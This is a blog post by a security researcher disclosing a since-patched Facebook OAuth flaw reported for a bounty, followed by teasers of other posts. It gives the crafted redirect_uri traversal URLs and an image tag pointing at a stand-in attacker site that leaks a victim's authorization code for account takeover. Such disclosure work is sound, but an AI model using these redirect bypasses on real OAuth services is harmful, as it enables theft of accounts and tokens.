Skip to main content

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 

https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)

Comments

Unknown said…
why is browser changing
"https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8"

to

https://gist.github.com/asanso/a2f05bb7e38ba6af88f8
Antonio Sanso said…
@unkown is this a question :) ?

Popular posts from this blog

Billion Laugh Attack in https://sites.google.com

tl;dr https://sites.google.com suffered from a Billion Laugh Attack vulnerability that made the containerized environment to crash with a single invocation.
Introduction Few months ago I applied for a talk at a security conference titled Soyouwanna be a Bug Bounty Hunter but it was rejected :(. The reason behind it is that I have been on/off in the bug bounty business for a while as you can see here:
Funny. Found in a forgotten drawer from the time I was a bug hunter :p #facebook#bug#bountypic.twitter.com/Tt4saGZVLI — Antonio Sanso (@asanso) November 30, 2018 and I would have liked to share some of the things I have learned during these years (not necessary technical advises only). You can find a couple of these advises here:


Rule #1 of any bug hunter is to have a good RSS feed list
and here


The rule #2 of any bug hunter is to DO NOT be to fussy with 'food' specifically with "left over"
Today's rule is: The rule #3 of any bug hunter is DO LOOK at the old stuff

and…

OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)

Usual Mandatory Disclaimer: IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post...

tl;dr The OpenSSL 1.0.2 releases suffer from a Key Recovery Attack on DH small subgroups. This issue got assigned CVE-2016-0701 with a severity of High and OpenSSL 1.0.2 users should upgrade to 1.0.2f. If an application is using DH configured with parameters based on primes that are not "safe" or not Lim-Lee (as the one in RFC 5114) and either Static DH ciphersuites are used or DHE ciphersuites with the default OpenSSL configuration (in particular SSL_OP_SINGLE_DH_USE is not set) then is vulnerable to this attack.  It is believed that many popular applications (e.g. Apache mod_ssl) do set the  SSL_OP_SINGLE_DH_USE option and would therefore not be at risk (for DHE ciphersuites), they still might be for Static DH ciphersuites.
Introduction So if you are still here it means you wanna know more. And here is the thing. In my last blog post I was …

Top 10 OAuth 2 Implementation Vulnerabilities

Some time ago I posted a blogpost abut  Top 5 OAuth 2 Implementation Vulnerabilities.
This week I have extended the list while presenting Top X OAuth 2 Hacks at OWASP Switzerland.

This blog post (like the presentation) is just a collection of interesting attack OAuth related.

#10 The Postman Always Rings Twice  I have introduced this 'attack' in last year post . This is for provider implementer, it is not extremely severe but, hey, is better to follow the spec. Specifically

The client MUST NOT use the authorization code  more than once.  If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

It turned out that even Facebook and Googledid it wrong... :)

#9 Match Point To all OAuth Providers be sure to follow section 4.1.3 of the spec in particular

...if the "redirect_uri" parameter was included in the initial authorization requ…